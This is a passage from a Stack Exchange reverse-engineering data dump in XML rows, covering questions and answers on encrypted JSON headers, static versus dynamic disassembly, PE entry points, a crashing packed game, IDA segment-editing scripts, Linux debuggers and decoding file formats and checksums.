&amp;lt;D1&amp;gt;...&#xA;Salted12DPEPlodlks^Q^H]^Q&amp;lt;88&amp;gt;&amp;lt;A6&amp;gt;&amp;lt;D5&amp;gt;...&#xA;Salted12WeuyYPkh&amp;lt;D6&amp;gt;&quot;&amp;lt;F9&amp;gt;^I^_6^Q&amp;lt;AB&amp;gt;&amp;lt;ED&amp;gt;^Y&#xA;Salted12hJhPiiUX&amp;lt;E7&amp;gt;Yu&amp;lt;D9&amp;gt;&amp;lt;DB&amp;gt;&amp;lt;9F&amp;gt;&amp;lt;D9&amp;gt;&amp;lt;BD&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume the 8 extra bytes are some kind of encryption key (or, maybe the 16 leading bytes are the key, and the devs chose fixed the first 8 bytes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing the size of old versions of the json files with the new ones suggests the new ones are uncompressed, and have a 1:1 character encryption after the header bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File       old size      new size&#xA;1.93.json     10999         10864&#xA;edit.json      2135          2160&#xA;next.json       252           976&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(The change in number of bytes isn't the same for all files, but as the contents have probably changed with the new version, this is to be expected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is: Is there a standard, &quot;well-known&quot;, library/framework that obfuscates JSON like this, or will i have to reverse the application to find out how the encryption works?&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-07-04T17:34:31.920" Title="Well-known JSON obfuscator that puts the string &quot;Salted12&quot; in front of obfuscated files?" Tags="|obfuscation|encryption|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6911" PostTypeId="1" AcceptedAnswerId="6914" CreationDate="2014-12-28T17:38:19.747" Score="4" ViewCount="1509" Body="&lt;p&gt;I know that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Dynamic program analysis is the analysis of computer software that&#xA;  is performed by executing programs on a real or virtual processor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;while&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Static program analysis is the analysis of computer software that is&#xA;  performed without actually executing programs&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But what i don't understand is that why would someone use a static disassembler like ida pro over a dynamic disassembler or debugger like ollydbg and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S This is not a duplicate of &#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3473/what-is-the-difference-between-static-disassembly-and-dynamic-disassembly&quot;&gt;What is the difference between static disassembly and dynamic disassembly?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this is not asking for the difference but it is asking for the reason and benefits why someone would choose static disassembler over a dynamic disassembler and vice versa in terms of malware analysis. &lt;/p&gt;&#xA;" OwnerUserId="10357" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-12-28T18:09:36.167" Title="What is the benefit or reason of using a static disassembler over a dynamic disassembler in terms of malware analysis?" Tags="|ida|disassembly|ollydbg|malware|static-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6912" PostTypeId="2" ParentId="6905" CreationDate="2014-12-28T17:52:05.973" Score="8" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Microsoft documentation gives &lt;a href=&quot;https://learn.microsoft.com/en-gb/windows/win32/api/winbase/nf-winbase-winmain&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinMain()&lt;/a&gt; as the entry point for a&#xA;Windows program&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No, Microsoft's documentation doesn't give WinMain() as &lt;em&gt;the&lt;/em&gt; entry point for a Windows program.&lt;/p&gt;&#xA;&lt;p&gt;From the WinMain() documentation to which you linked above (emphasis mine) - &amp;quot;WinMain entry point [is] the &lt;strong&gt;user-provided entry point&lt;/strong&gt; for a graphical Windows-based application... Depending on the programming framework, &lt;strong&gt;the call to the WinMain function can be preceded and followed by additional activities specific to that framework&lt;/strong&gt;.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;In other words, if you're building a native application, your compiler will likely build your executable file such that its framework initialization code is executed before your WinMain() function.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Does anyone know of any documentation - official or otherwise -&#xA;regarding the game rules for PE32(+) entry points?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, from the &lt;a href=&quot;https://learn.microsoft.com/en-gb/windows/win32/debug/pe-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft PE and COFF Specification&lt;/a&gt;, the &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; field in the PE header is defined as &amp;quot;For program images, this is the starting address.&amp;quot; It's this field that will typically point to the framework initialization code described above.&lt;/p&gt;&#xA;&lt;p&gt;Note that despite &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; being the starting address of the program, the code at that address will be executed &lt;em&gt;after&lt;/em&gt; TLS callback functions (also documented in the PE/COFF documentation) if they exist, and after statically loaded DLLs' DllMain() functions.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;parameters passed to the entry point by the Windows loader&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As explained &lt;a href=&quot;https://stackoverflow.com/a/6029691&quot;&gt;here&lt;/a&gt; by @igor-skochinsky, &amp;quot;the registers at the entry point of PE file do not have defined values.&amp;quot; However, as he points out, &lt;code&gt;EAX&lt;/code&gt; often points to the &lt;code&gt;AddressOfEntryPoint&lt;/code&gt; and &lt;code&gt;EBX&lt;/code&gt; often points to the PEB.&lt;/p&gt;&#xA;&lt;p&gt;You may want to refer to @Ange's &lt;a href=&quot;https://code.google.com/archive/p/corkami/wikis/InitialValues.wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;Initial values&lt;/a&gt; documentation to find other unofficial register values at entry point.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="14622" LastEditDate="2022-11-29T07:14:40.663" LastActivityDate="2022-11-29T07:14:40.663" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="6914" PostTypeId="2" ParentId="6911" CreationDate="2014-12-28T18:09:36.167" Score="4" Body="&lt;p&gt;In most cases, you won't confine yourself to one of them, instead, you'll use both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dynamic analysis means running the software. You don't want to do this with a piece of software that you suspect of being malware, except in a controlled environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, before running the software, you want to know a bit about it. Is the executable packed in some way? Does it use anti-debugging techniques? Does the software contain any pieces of some well-known / open source library? There are lots of tools out there that answer some of these questions - Ida pro is only one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further improve your understanding of the software, you want a tool that helps you find dependencies between its parts. Which parts of the binary are actually code, and which are data? If the software contains strings, or other data, that looks interesting, where are those referenced? Which function is called where? This is where the cross-referencing of IDA comes in handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, in many cases, you don't really need to understand every single instruction of a subroutine to know what it does. You might want to know which files and which registry keys get read and written by your software. Or, you might want to know if it accesses the internet, and which sites it connects to. Running the software with stuff like &lt;code&gt;procmon&lt;/code&gt; or &lt;code&gt;wireshark&lt;/code&gt; enabled is the fastest way to find out - i'd consider that dynamic analysis as well, even though &lt;code&gt;procmon&lt;/code&gt; and &lt;code&gt;wireshark&lt;/code&gt; aren't debuggers. Or, while analyzing your software, you come across a function that contains lots of bit operations - this might be some kind of encryption or hashing. Fire up a debugger, set breakpoints on the function, and check its parameters and return values. This can confirm your assumption much faster than trying to understand the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you've confirmed the function really decrypts something, and you want to know how it works. You'll probably want to annotate individual opcodes with comments like 'at this point, &lt;code&gt;eax&lt;/code&gt; contains all bytes of the input string, xor'red with each other' or 'this doesn't do anything and seems to be nothing but obfuscation'. Tools like IDA allow you to do exactly this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer is: unless you have a very trivial piece of software, you won't choose one over the other. Analyzing the software consists of many tasks; for some of them, static analysis is easier, for others, dynamic analysis. Any self respecting reverse engineer will have lots of tools at his disposal and pick the right one depending on the task at hand, and quite often, will write his own tool as well to tackle some problems he has with the specific software he's working on right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that i've never always used the term &lt;code&gt;software&lt;/code&gt; instead of &lt;code&gt;malware&lt;/code&gt;, as this relates to any kind of reverse engineering, not just malware analysis.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-12-28T18:09:36.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6915" PostTypeId="1" CreationDate="2014-12-28T21:22:51.537" Score="1" ViewCount="416" Body="&lt;p&gt;My computer meets all the requirements to play this game, I even ran the tool that comes with this game and it passes all checks, even found my graphics card on the list.&#xA;The game's URL is &lt;a href=&quot;http://tera.enmasse.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tera.enmasse.com/&lt;/a&gt; and it's about 50 GB to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nobody on the Tera customer support website could help me out as their advise is like get a anti-virus scan or run the program in Administrator Mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know much about reversing but I'm attempting to grasp it just to be able to play this game.&#xA;By understanding the WinDBG it seems to crash by accessing memory address 0x3 which doesn't make any sense to me. The game is also packed in Termida/WinLicense, can't unpack it as it keeps crashing during the process, but I managed to get a memory dump and a Dr. Watson &lt;code&gt;crashdump.dmp&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted screenshots of WinDBg below and a IDA PRO of the line that it seems to crash on any idea how to repair this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everytime I attempt to load up the game I get this a Dr. Watson error box&#xA;&lt;img src=&quot;https://i.stack.imgur.com/wH44s.png&quot; alt=&quot;8&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rlHCi.png&quot; alt=&quot;1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iUmCw.png&quot; alt=&quot;2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MERKD.png&quot; alt=&quot;3&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2qvF3.png&quot; alt=&quot;4&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NvMZH.png&quot; alt=&quot;5&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hHOSl.png&quot; alt=&quot;9&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DF41L.png&quot; alt=&quot;10&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pcAQk.png&quot; alt=&quot;6&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1ZIsP.png&quot; alt=&quot;7&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone give me any advise how to fix this game so it loads up? Anything I need to install on my computer to make it run?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the game binaries and dll files.&#xA;&lt;a href=&quot;https://www.mediafire.com/?3g3ro8qt7hbaqr3&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/?3g3ro8qt7hbaqr3&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10359" LastEditorUserId="10359" LastEditDate="2014-12-28T21:30:47.840" LastActivityDate="2014-12-28T22:16:43.537" Title="Cannot run game TERA crashes on mov dword ptr ds:[3],0Dh" Tags="|ida|disassembly|assembly|decompile|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6916" PostTypeId="2" ParentId="6915" CreationDate="2014-12-28T22:16:43.537" Score="2" Body="&lt;p&gt;Based on TERA's message forums, it sounds like it's a poorly developed game. &lt;a href=&quot;http://tera-forums.enmasse.com/forums/general-discussion/topics/Fatal-Exception-Error-and-Unable-to-Download-Manifest-since-yesterdays-patch?page=1#post-1195600&quot; rel=&quot;nofollow&quot;&gt;Running an AV product causes it to crash, running TeamSpeak causes it to crash&lt;/a&gt;, and &lt;a href=&quot;http://tera-forums.enmasse.com/forums/general-discussion/topics/SOLVED-Error-ffffffff-Fatal-Game-Client-Exception?page=1#post-1197891&quot; rel=&quot;nofollow&quot;&gt;using a firewall causes it to crash&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the &lt;code&gt;mov large dword ptr ds:3, 0Dh&lt;/code&gt;, my guess would be that this is code intended to &lt;em&gt;force&lt;/em&gt; a crash, and &lt;code&gt;sub_8130E0&lt;/code&gt; logs error messages. The decompilation above may have effectively been written as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (InterlockedIncrement(...) == 1)&#xA;{&#xA;    Log_Error(...);&#xA;    Log_Error(..., L&quot;\r\n&quot;, ...);&#xA;    if (something())&#xA;    {&#xA;        ...&#xA;    }&#xA;    FORCE_CRASH();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to take a closer look at the data at &lt;code&gt;off_203C1C8&lt;/code&gt;, &lt;code&gt;unk_1BC2AE8&lt;/code&gt;, and &lt;code&gt;a1&lt;/code&gt; to get some more hints. But if it were me, I'd just uninstall the game and move on. I wouldn't be able to trust developers who forcibly crash their program if I have a firewall enabled.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-12-28T22:16:43.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6917" PostTypeId="1" CreationDate="2014-12-29T01:35:00.880" Score="2" ViewCount="189" Body="&lt;p&gt;I am now trying to figure out the innards of a custom made program that I've found difficult to debug using a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program starts by using a bash script wrapper to process input parameters, and then execute an encrypted perl script, which somehow starts another process which is a binary executable and cannot be started independently(even if I add all the parameters as seen using ps au when it is running normally, it still says some .so file is missing). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now suppose one wants to debug this binary using something like IDA, how do you set it up? Take IDA as an example, in the &quot;process option&quot; I have used the bash wrapper in &quot;App path&quot;, the binary as &quot;input file path&quot;, and it turns out the debugger would not go into the binary's space, and just stays in the exceptions inside glibc library and none of the breakpoints set in the binary would be reached. (However the program was running fine, just that debugger cannot go inside.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts about what is happening and the right way of doing it?&lt;/p&gt;&#xA;" OwnerUserId="10362" LastEditorUserId="1413" LastEditDate="2014-12-29T05:24:08.480" LastActivityDate="2014-12-29T05:24:08.480" Title="How can one debug a program that can only be started by other processes?" Tags="|linux|debugging|anti-debugging|multi-process|process|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6918" PostTypeId="1" AcceptedAnswerId="6920" CreationDate="2014-12-29T13:25:20.537" Score="3" ViewCount="95" Body="&lt;p&gt;I'm reverse engineering a file format in which (amongst a whole lot of other things I have already decoded) the 'length' of the file is being stored.&#xA;It is displayed to the user as minutes:seconds.&#xA;Doing a little bit of experimenting by altering the file and loading it up in the program, I've gathered the following possibilities:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Original:&#xA;5d42: 0:55&#xA;&#xA;Altered:&#xA;5240: 0:03&#xA;0000: 0:00&#xA;003f: 0:00&#xA;0040: 0:02&#xA;0041: 0:18&#xA;0042: 0:32&#xA;0043: 2:08&#xA;0044: 8:32&#xA;0045: 34:08&#xA;1045: 38:24&#xA;0046: 136:32&#xA;0047: 564:08&#xA;0048: 2184:32&#xA;0049: 8738:08&#xA;004a: 34952:32&#xA;004b: invalid&#xA;004c: 559240:33&#xA;004d: 2236962:15&#xA;004e: 8947849:00&#xA;004f: 35791396:00&#xA;0050: 143165584:00&#xA;0051: 572662336:00&#xA;0052: 2290649344:00&#xA;&#xA;0142: 0:32&#xA;0242: 0:32&#xA;0342: 0:32&#xA;0442: 0:33&#xA;0542: 0:33&#xA;0642: 0:33&#xA;0742: 0:33&#xA;0842: 0:34&#xA;0942: 0:34&#xA;0a42: 0:34&#xA;0b42: 0:34&#xA;0c42: 0:35&#xA;0d42: invalid&#xA;0e42: 0:35&#xA;0f42: 0:35&#xA;1042: 0:36&#xA;1142: 0:36&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My guess is this is some sort of floating point, but I'm too limited in my skills to know what kind.&#xA;I know all other numbers in the files are stored as little-endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any clue?&lt;/p&gt;&#xA;" OwnerUserId="10366" LastActivityDate="2014-12-30T00:38:05.897" Title="What could this time format be?" Tags="|file-format|" AnswerCount="1" CommentCount="2" ClosedDate="2015-01-02T15:10:07.460" ContentLicense="CC BY-SA 3.0" />
  <row Id="6919" PostTypeId="2" ParentId="6907" CreationDate="2014-12-29T15:08:14.110" Score="2" Body="&lt;p&gt;Short answer: your newly created segments probably have an invalid selector value of 0, and things should start working again as soon as you set the selector to a valid value (e.g. &lt;code&gt;SetSegmentAttr(here, SEGATTR_SEL, 1)&lt;/code&gt; at the command prompt). The reason is that all selectors created by IDA for a PE32(+) have the same base and are mostly equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are certain differences between recent IDA versions in the way segment editing via the UI works. Segment editing via the UI can cause complex operations under the hood, and the resulting behaviour is not always intuitive. That's why I'd rather not give a solution in terms of UI operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The segment editing functions available in IDC and Python are much simpler and straightforward, and they can be invoked from IDA's command prompt (including symbolic names for flag values, like SEGMOD_KEEP). For trickier stuff I find it most convenient to compose my own operations as named snippets in the code snippet editor (Shift-F2). With a suitable Jump() at the end of the operation - to position the cursor on the most likely candidate for the next operation - this makes it easy to get a lot of stuff done in no time flat. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IDC/Python segment editing functions are slightly better documented than the whole UI stuff and, being simpler, they are easier to get a handle on by way of experimentation. And much less prone to nasty surprises. If bad things have happened - as in your case - they can often be repaired by probing a working example in one IDA instance with commands like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetSegmentAttr(here, SEGATTR_FLAGS)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then switching to the other IDA instance containing the 'patient' and poking in the newly discovered value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SetSegmentAttr(here, SEGATTR_FLAGS, 0x10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since both IDA instances share the same command prompt history, entering the second command is as simple as hitting the up arrow and modifying the query that was entered in the other IDA instance. In your case things will probably start working again if you set &lt;strong&gt;SEGATTR_SEL&lt;/strong&gt; for the newly created segments to the same value as an existing (and hence correctly configured) segment. To find the magic flags and their names I prefer grepping &lt;code&gt;$(IDA)/idc/idc.idc&lt;/code&gt; over consulting the help file, since idc.idc tends to be more comprehensive and more up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: view windows like &quot;Program Segmentation&quot; do not refresh on their own but they can be refreshed by hitting their hotkey again (e.g. Shift-F7 for &quot;Program Segmentation&quot;), and also by entering &quot;RefreshLists()&quot; at the command prompt. Also, all the stuff I wrote here is probably far from optimal, but it's the best I am able to do based on my limited knowledge and existing documentation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, segments are not very significant for PE32(+) targets with their flat address spaces. I find them convenient for tagging ranges of code as belonging to a certain module (e.g. 'CRT', 'Lua', whatever) but it is not really necessary to create a faithful representation of the segments contained in the source code, since they are mostly for the benefit of the linker and end up being merged into a tiny number of PE sections.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2014-12-29T16:59:39.060" LastActivityDate="2014-12-29T16:59:39.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6920" PostTypeId="2" ParentId="6918" CreationDate="2014-12-30T00:29:20.333" Score="5" Body="&lt;p&gt;This seems very much like the &lt;a href=&quot;http://de.wikipedia.org/wiki/IEEE_754&quot;&gt;IEEE754&lt;/a&gt; format, and i'd assume each of your two byte timecodes to be preceded by two zero-bytes, which make a 4 byte (32 bit) value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can calculate the exponent using the formula&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exponent=(byte2 * 2 - 127)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the value in seconds using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value=2^exponent*(1+byte1/128)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;assuming the high-order bit of byte1 is clear; if you set the highest bit in byte1, you'll probably get a negative value. (If byte1 is zero, as in most of your examples, value is equal to the exponent, as the multiplicand is 1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note you have a typo in your value for &lt;code&gt;0041&lt;/code&gt;, that should be &lt;code&gt;0:08&lt;/code&gt;, not &lt;code&gt;0:18&lt;/code&gt;, and you probably made a mistake when checking the &lt;code&gt;004b&lt;/code&gt; value, that should be &lt;code&gt;8388608&lt;/code&gt; seconds, or &lt;code&gt;139810:08&lt;/code&gt; minutes.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-12-30T00:38:05.897" LastActivityDate="2014-12-30T00:38:05.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6922" PostTypeId="1" AcceptedAnswerId="6923" CreationDate="2014-12-30T05:11:24.453" Score="30" ViewCount="56293" Body="&lt;p&gt;What is the Linux equivalent to &lt;code&gt;OllyDbg&lt;/code&gt; and &lt;code&gt;IDA Pro&lt;/code&gt; ? Or if there are multiple tools that do the various functions that &lt;code&gt;OllyDbg&lt;/code&gt; and &lt;code&gt;IDA Pro&lt;/code&gt; do, where can I find these tools? I'd like to start reversing some &lt;em&gt;elf&lt;/em&gt; files on Linux and I'm just looking for a set of tools to get me started.&lt;/p&gt;&#xA;" OwnerUserId="10371" LastEditorUserId="3041" LastEditDate="2015-07-15T17:52:14.177" LastActivityDate="2019-05-24T08:23:04.743" Title="What is the linux equivalent to OllyDbg and Ida Pro?" Tags="|linux|debuggers|disassemblers|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6923" PostTypeId="2" ParentId="6922" CreationDate="2014-12-30T07:34:10.363" Score="33" Body="&lt;p&gt;Ida Pro runs on Windows, Linux and Mac OS, so i guess the Linux equivalent of Ida Pro is Ida Pro. The debugger that's used mostly seems to be gdb, possibly enhanced with a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1392/decent-gui-for-gdb&quot;&gt;GUI&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;Hopper&lt;/a&gt; and &lt;a href=&quot;http://radare.org/y/&quot; rel=&quot;noreferrer&quot;&gt;Radare2&lt;/a&gt; run on Linux as well.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-12-30T07:34:10.363" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6924" PostTypeId="2" ParentId="6907" CreationDate="2014-12-30T10:25:11.887" Score="0" Body="&lt;p&gt;IDA cannot reference symbols within a segment unless that segment has a valid selector, so that's the most important property to set for a new segment. The selector can be set in the 'Create Segment...' dialogue via the field &quot;base in paragraphs&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;GetSegmentAttr(here, SEGATTR_SEL)&lt;/code&gt; tells you what the proper selector is, if the cursor is in the segment to be split. You can type the expression right into the input field of the dialogue; by the same token you can type &lt;code&gt;here&lt;/code&gt; into the begin address field and &lt;code&gt;SegEnd(here)&lt;/code&gt; into the end address field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an IDC snippet (Shift-F2) that splits the current segment at the current position, cloning most relevant properties (including SEGATTR_SEL):&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CompileEx(&#xA;  &quot;class HelperFunctions {&quot;&#xA;    &quot;copy_seg_attr (src, dst, attr) { SetSegmentAttr(dst, attr, GetSegmentAttr(src, attr)); }&quot;&#xA;  &quot;};&quot;, 0  );&#xA;&#xA;auto ori_seg, ok, fn;&#xA;&#xA;ori_seg = SegStart(here);&#xA;&#xA;ok = AddSegEx(&#xA;   here, &#xA;   SegEnd(here), &#xA;   GetSegmentAttr(here, SEGATTR_SEL),&#xA;   GetSegmentAttr(here, SEGATTR_BITNESS),&#xA;   GetSegmentAttr(here, SEGATTR_ALIGN),&#xA;   GetSegmentAttr(here, SEGATTR_COMB),&#xA;   ADDSEG_NOSREG  );&#xA;&#xA;if (!ok)  return Warning(&quot;AddSegEx() failed&quot;);&#xA;&#xA;fn = HelperFunctions();    &#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_PERM);&#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_FLAGS);&#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_ES);&#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_SS);&#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_DS);&#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_TYPE);&#xA;fn.copy_seg_attr(ori_seg, here, SEGATTR_COLOR);&#xA;&#xA;RenameSeg(here, AskStr(&quot;&quot;, &quot;segment name&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: 'inlining' a class definition via Compile() or CompileEx() was the only trick I found for defining a function inside a snippet. It seems to work only in newer IDAs though (tested with 6.6 and 6.7), and only if the Compile() is right at the start of the snippet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For older IDA versions the helper function has to be defined in some other way, for example in a separate .idc file, and the call to AddSegEx() needs to be replaced with AddSeg().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I couldn't find a way to query the segment class, and so it cannot be copied even though there is a function &lt;code&gt;SetSegClass()&lt;/code&gt; that can set it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inverse operation - merging the next segment into the current one - is much simpler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;auto seg_beg, seg_end, next_seg;&#xA;&#xA;seg_beg = SegStart(here);&#xA;&#xA;if (seg_beg == -1)  return Warning(&quot;no segment here&quot;);&#xA;&#xA;next_seg = NextSeg(here);&#xA;&#xA;if (next_seg == SegEnd(here))&#xA;{&#xA;   seg_end = SegEnd(next_seg);&#xA;&#xA;   DelSeg(next_seg, SEGMOD_KEEP);&#xA;   SetSegBounds(seg_beg, seg_beg, seg_end, SEGMOD_KEEP);&#xA;&#xA;   Jump(PrevNotTail(seg_end));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With a snippet like this you can merge a whole boatload of segments with just a single click per segment, which is handy for memory dumps. Or for undoing accidental segment splits...&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-01-09T15:16:32.733" LastActivityDate="2015-01-09T15:16:32.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6926" PostTypeId="2" ParentId="6922" CreationDate="2014-12-30T11:54:44.833" Score="3" Body="&lt;p&gt;For gbd try fGs &lt;a href=&quot;https://github.com/gdbinit/gdbinit&quot; rel=&quot;nofollow&quot;&gt;gdbinit&lt;/a&gt;&#xA;There is lldb, too. It's llvm debugger and it's scriptable in python&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I would have commented, but that would have required registering, and earning 50 reputation.&lt;/p&gt;&#xA;" OwnerUserId="10382" LastActivityDate="2014-12-30T11:54:44.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6927" PostTypeId="1" AcceptedAnswerId="6929" CreationDate="2014-12-30T12:01:57.770" Score="6" ViewCount="1214" Body="&lt;p&gt;I am trying to determine the algorithm behind a 32-byte protected section of memory on a big-endian system. It will render invalid if even a single bit is changed, but I can generate any number of valid 32-byte messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here shows a variety of example data. I believe the last 4 bytes are the checksum. All of them are accepted by the algorithm.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000000000000000000000000000000000000007478A000101004892B760&#xA;F0000000000000000000000000000000000000000002D8DF00010100C9E23610&#xA;3065C0000000000000000000000000000000000000006F850001010060EB9F07&#xA;FFFFFFFF03FC6BBD000000000000000000000000000000000001010070B88F3A&#xA;FFFFFFFF0397E33D340C804138458C5006060968570C214B0001017AE8F416FE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was able to create a bunch of custom messages with very little differences. Doesn't seem like it could be a CRC-32.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FFFFFFFF01671F7E000000000000000000000000000000000001010021E4DE0E 